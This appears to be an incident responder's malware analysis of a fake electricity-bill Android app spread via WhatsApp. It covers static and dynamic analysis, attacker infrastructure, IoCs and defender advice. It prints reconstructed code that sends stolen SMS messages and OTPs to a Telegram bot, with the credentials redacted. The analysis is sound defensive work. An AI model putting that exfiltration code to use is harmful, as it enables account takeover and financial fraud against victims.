Phishing campaigns targeting electricity and utility customers have become increasingly common in India. In this case, the malicious APK was distributed via WhatsApp messages claiming to be an official app update for a major electricity provider. Users were prompted to install the app to "avoid disconnection" — a classic urgency hook that bypasses rational scrutiny.

This writeup documents the forensic analysis methodology I used, the attacker's infrastructure, and what defenders can do to protect their users.

Specifics of the targeted organization and victims have been redacted. This analysis was conducted under an authorized incident response engagement and formally reported to the relevant CERT-IN nodal officer.

Initial Triage — APK Metadata

The sample was received as electricity_app_update.apk (MD5 redacted). The first step is always static metadata extraction — don't install or execute the sample until you understand what you're dealing with.

# Extract APK metadata
apktool d electricity_app_update.apk -o decompiled/

# Key files to examine immediately:
# AndroidManifest.xml   — permissions, components, intent filters
# res/values/strings.xml — hardcoded strings (URLs, keys, messages)
# classes.dex            — compiled Dalvik bytecode

The AndroidManifest.xml immediately raised red flags — a utility billing app has no legitimate need for these permissions:

<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />

SMS read/receive permissions are the most critical indicator here — this tells us the malware is likely targeting OTP interception for financial fraud.

Static Analysis with MobSF

Mobile Security Framework (MobSF) provides automated static analysis with a clean HTML report. Run it against the APK for a quick triage overview before diving into manual analysis:

docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# Upload APK via http://localhost:8000
# Review: Security Score, Permissions, Hardcoded Secrets, Network Traffic

MobSF flagged several hardcoded URLs in the decompiled strings.xml. One stood out — a Telegram Bot API URL used for data exfiltration. This is a common C2 pattern for low-sophistication threat actors: Telegram provides free, reliable, hard-to-block message delivery with no server infrastructure to maintain.

Exfiltration Mechanism

Decompiling the classes.dex with jadx revealed the exfiltration logic clearly:

// Reconstructed from decompiled Dalvik bytecode
private void exfiltrateData(String smsContent, String contactData) {
    String botToken = "redacted";
    String chatId   = "redacted";
    String message  = "VICTIM: " + deviceInfo + "\nSMS: " + smsContent;

    String url = "https://api.telegram.org/bot" + botToken
               + "/sendMessage?chat_id=" + chatId
               + "&text=" + URLEncoder.encode(message, "UTF-8");

    // Fire-and-forget HTTP GET — no error handling
    new AsyncTask<Void, Void, Void>() {
        protected Void doInBackground(Void... v) {
            new URL(url).openStream(); // Primitive but effective
            return null;
        }
    }.execute();
}

The exfiltration fired on three events: SMS received, app foreground, and every 15 minutes via AlarmManager. This gave the attacker near real-time visibility into OTPs sent to the victim's device — enabling account takeover of banking and payment apps.

Infrastructure Mapping

Beyond the Telegram bot, the APK made calls to a secondary C2 endpoint for updated configuration. OSINT on the hosting IP revealed:

  • The server was hosted on a popular Indian cloud provider, registered with a throwaway email address 3 days before the campaign
  • The domain used a typosquatted variation of the legitimate utility brand name
  • The SSL certificate was a free Let's Encrypt cert (issued 2 days before campaign launch) — this is why domain-validation certificates alone offer no trust signal
  • The same IP hosted two other phishing pages targeting a different utility brand, suggesting a small-scale but organised threat actor running parallel campaigns

Behavioural Analysis — Dynamic Confirmation

To confirm the static findings, I ran the APK in a Genymotion isolated emulator with network traffic routed through Burp Suite:

# Network setup for dynamic analysis
adb reverse tcp:8080 tcp:8080  # Forward traffic to Burp on host
# Configure emulator proxy: 127.0.0.1:8080

# Monitor system calls and file access
adb shell strace -p $(adb shell pidof com.fake.electricity) 2>&1 | tee strace_log.txt

# Monitor file creation (data staging before exfil)
adb shell inotifywait -m /data/data/com.fake.electricity/

Dynamic analysis confirmed that SMS content was being staged in a SQLite database at /data/data/com.fake.electricity/databases/sms_cache.db before batch-exfiltrating every 15 minutes. This caching behaviour explained why some victims reported the malware working even when the device was briefly offline.

Indicators of Compromise (IoCs)

Key IoCs identified during this investigation (generalised to protect ongoing investigation):

  • APK requests SMS + CAMERA + AUDIO permissions immediately on first launch
  • Outbound connections to api.telegram.org from a utility billing app
  • Persistent AlarmManager service running every 15 minutes in background
  • SQLite database named sms_cache.db in the app's private data directory
  • App icon mimics official utility brand with minor visual differences

Recommendations for Defenders

For utility companies and organisations at risk of brand impersonation:

  • Publish a clear app distribution policy: Make it prominently visible on your website that your official app is only available via Google Play / App Store — never distributed via WhatsApp or SMS links.
  • Enroll in Google Play Protect Partner: Allows you to work with Google to identify and flag impersonating apps in the Play ecosystem.
  • Monitor typosquatted domains: Use brand monitoring tools or DMARC reporting to detect domains impersonating your brand before they're weaponised.
  • Customer awareness campaigns: A brief SMS or bill insert — "We will never ask you to install an app via WhatsApp" — can significantly reduce successful installs.

Formal Reporting

The full findings — including all IoCs, attacker infrastructure details, APK hashes, and timeline — were documented in a formal incident report and submitted to the relevant CERT-IN nodal officer. The Telegram bot token was also reported directly to Telegram's abuse team, which resulted in the bot being suspended within 48 hours.

If you suspect your organisation is being impersonated in a similar campaign, reach out at contact@abbytes.in for an initial consultation.